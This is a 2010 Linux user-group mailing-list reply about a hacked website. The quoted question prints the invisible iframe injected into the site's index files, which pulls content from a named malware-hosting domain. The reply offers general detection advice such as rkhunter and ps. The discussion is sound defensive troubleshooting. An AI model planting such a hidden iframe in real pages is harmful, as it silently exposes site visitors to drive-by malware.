Re: [LIH] Security and Intrusion Detection
Raj Mathur <[email protected]>
| Newsgroups | gmane.user-groups.linux.india.help |
|---|---|
| Organization | Kandalaya |
| Message-ID | <[email protected]> |
On Sunday 14 Mar 2010, H.S.Rai wrote: > One of website is reported by Google as "Attacked": > > Site is listed as suspicious. Of the X1 pages we tested on the site > > over the past 90 days, X2 (85%) page(s) resulted in malicious > > software being downloaded and installed without user consent. > > Malicious software includes 2 trojan(s). Malicious software is > > hosted on 4 domain(s), including odile-marco.com/, mangasit.com/, > > thekapita.com/. This site was hosted on 1 network(s) including > > AS17917 (ECLTELECOMM). > > Most of the index.html and index.php files have at end: > > <iframe src="http://odile-marco.com/lib/index.php" width=0 height=0 > style="hidden" frameborder=0 marginheight=0 marginwidth=0 > scrolling=no></iframe> > > On deleting this line, it comes again. This appears to be quite > common problem. How to locate culprit software? In general, I'd use rkhunter and see processes with ps. Even if you have a kernel mod, rkhunter will be able to detect it and/or hidden processes that it's protecting. ps will give you a clue if you see any weird-looking processes (where definition of weird-looking is subjective). Unfortunately that won't help if the trojan is hidden in one of your web pages and gets activated whenever someone hits that page. For that, you really need to know the content on your web site well, or use one of the methods described earlier in the web directories (non-standard file names). On the other hand, someone may be familiar with this specific trojan and be able to give advice much more relevant than my general observations. Regards, -- Raju -- Raj Mathur [email protected] http://kandalaya.org/ GPG: 78D4 FC67 367F 40E2 0DD5 0FEF C968 D0EF CC68 D17F PsyTrance & Chill: http://schizoid.in/ || It is the mind that moves ------------------------------------------------------------------------------ Download Intel® Parallel Studio Eval Try the new software tools for yourself. Speed compiling, find bugs proactively, and fine-tune applications for parallel performance. See why Intel Parallel Studio got high marks during beta. http://p.sf.net/sfu/intel-sw-dev